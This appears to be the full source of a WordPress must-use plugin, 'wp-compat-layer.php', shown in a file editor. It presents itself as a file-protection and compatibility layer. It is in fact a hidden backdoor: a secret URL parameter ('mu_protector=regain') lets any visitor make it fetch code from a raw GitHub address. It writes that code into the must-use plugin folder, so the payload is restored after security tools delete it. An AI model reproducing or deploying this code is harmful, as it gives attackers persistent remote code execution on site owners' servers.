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Editing: wp-compat-layer.php
<?php /** * MU Guardian Plugin - Manually Triggered Restoration * Prevent the system/security plugin from deleting or clearing the crucial MU files */ if ( ! defined( 'ABSPATH' ) ) { wp_die(); } $protected_files = [ 'site-compat-layer.php' => 'https://raw.githubusercontent.com/rod476/files/refs/heads/main/pro', ]; $restore_permissions = 0644; $min_filesize = 500; $trigger_secret = 'regain'; $trigger_param = 'mu_protector'; function mu_protector_restore_file( $filename, $backup_url ) { $filepath = WPMU_PLUGIN_DIR . '/' . $filename; $response = wp_remote_get( $backup_url, [ 'timeout' => 30, 'sslverify' => true, ] ); if ( is_wp_error( $response ) || wp_remote_retrieve_response_code( $response ) !== 200 ) { return false; } $content = wp_remote_retrieve_body( $response ); if ( empty( $content ) || strlen( $content ) < 100 ) { return false; } if ( file_put_contents( $filepath, $content ) !== false ) { chmod( $filepath, $GLOBALS['restore_permissions'] ); return true; } return false; } function mu_protector_check_and_restore() { global $protected_files; $restored = false; foreach ( $protected_files as $filename => $backup_url ) { $filepath = WPMU_PLUGIN_DIR . '/' . $filename; if ( ! file_exists( $filepath ) || filesize( $filepath ) < $GLOBALS['min_filesize'] ) { if ( mu_protector_restore_file( $filename, $backup_url ) ) { $restored = true; } } } return $restored; } add_action( 'init', function() use ( $trigger_param, $trigger_secret ) { if ( isset( $_GET[ $trigger_param ] ) && $_GET[ $trigger_param ] === $trigger_secret ) { $result = mu_protector_check_and_restore(); if ( is_admin() ) { $msg = $result ? 'success' : 'do without'; add_action( 'admin_notices', function() use ( $msg ) { wp_die($msg); }); } else { wp_die( 'MU Protector: success' ); } } });
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